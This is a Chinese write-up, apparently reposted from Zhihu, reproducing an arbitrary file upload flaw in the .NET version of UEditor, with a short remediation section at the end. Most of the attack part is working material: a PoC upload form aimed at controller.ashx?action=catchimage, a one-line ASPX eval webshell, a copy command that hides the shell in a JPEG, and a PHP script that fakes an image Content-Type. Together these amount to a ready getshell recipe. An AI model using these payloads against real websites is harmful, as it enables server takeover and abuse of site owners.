UEditor .Net版本任意文件上传漏洞复现总结 – 知乎 (zhihu.com)

这个洞有一定年数了,是2018年发现的(从下图的shodan中可以得知,该漏洞已经被大部分黑客SEO利用),最近看到一个表哥研究这个洞,就顺便拿来复现分析了一波。

UEditor .Net版本任意文件上传漏洞复现总结-编程之家

一、漏洞介绍

Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,该漏洞只存在于该编辑器的.net版本。

漏洞的成因是在获取图片资源时仅检查了ContentType,导致可以绕过达到任意文件上传。

Crawler方法对source[]的检查仅仅是一个ContentType,这个真的很佛系了。

if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}

二、漏洞复现

1、我们可以利用post方法直接上传文件到目标网站

Poc:

<form action="http://xx.com/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST"><p>shell addr: <input type="text" name="source[]" /></p><input type="submit" value="Submit" /></form>

UEditor .Net版本任意文件上传漏洞复现总结-编程之家

其中【http://xx.com】填写你要测试的网站地址,action后填写路径为实际中遇到的路径,不要太死板,如果太死板不按网站的实际路径来就会出现这种路径找不到的错误。

UEditor .Net版本任意文件上传漏洞复现总结-编程之家

在复现这个漏洞的时候,你可能需要一个服务器,上传你的木马文件,其中【shell addr】后填写的就是你服务器上木马的地址加上后缀(?.aspx)。

UEditor .Net版本任意文件上传漏洞复现总结-编程之家

经过反复测试发现,其实只要绕过【image】检测就可以正常上传到目标服务器了,从而进一步getshell。
如果你没有绕过【image】检测的话,就会显示如下提示:

UEditor .Net版本任意文件上传漏洞复现总结-编程之家

如果你成功上传的话就会返回你上传文件的路径地址。

UEditor .Net版本任意文件上传漏洞复现总结-编程之家

针对检测机制的绕过方法,我上传了php木马和aspx图片马进行getshell,均可以成功getshell,不过在权限的利用方面,php木马无法进行文件的删除操作,而aspx可以进行文件的删除操作。

当木马成功上传到目标服务器之后,直接菜刀连接就可以了。

三、漏洞修复

1.修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码。

2.使用各类WAF软件,防止攻击者上传恶意文件。

3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。
———————————————-分割线—————————————————–
PS:

1.aspx图片马绕过检测

aspx一句话:

<%@ Page Language="Jscript"%><%eval(Request.Item["zhanan"],"unsafe");%>

cmd中写图片马命令(已经存在1.jpg和2.aspx,3.aspx就是制作成功的图片马)

copy 1.jpg/b +2.aspx 3.aspx

2.php伪造类型绕过

<?php
header('Content-type: image/jpeg'); 
echo "<% eval request(\"zhanan\") %>";
?>

其中的a.jpg即为我的图片马,c.php为php一句话木马。(注意:不是在服务器上保存文件类型为a.jpg?.aspx或者c.php?.aspx,而是只要在【shell addr】添加后缀(a.jpg?.aspx或者c.php?.aspx)就行了。)

UEditor .Net版本任意文件上传漏洞复现总结-编程之家

3.可在网址添加/controller.ashx?action=catchimage参数查看是否漏洞存在, 出现下图字样基本就是存在该漏洞的。

UEditor .Net版本任意文件上传漏洞复现总结-编程之家

参考:

https://zhengbao.wang/UEditor-net%E7%89%88%E6%9C%AC%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/

UEditor .net版本 getshell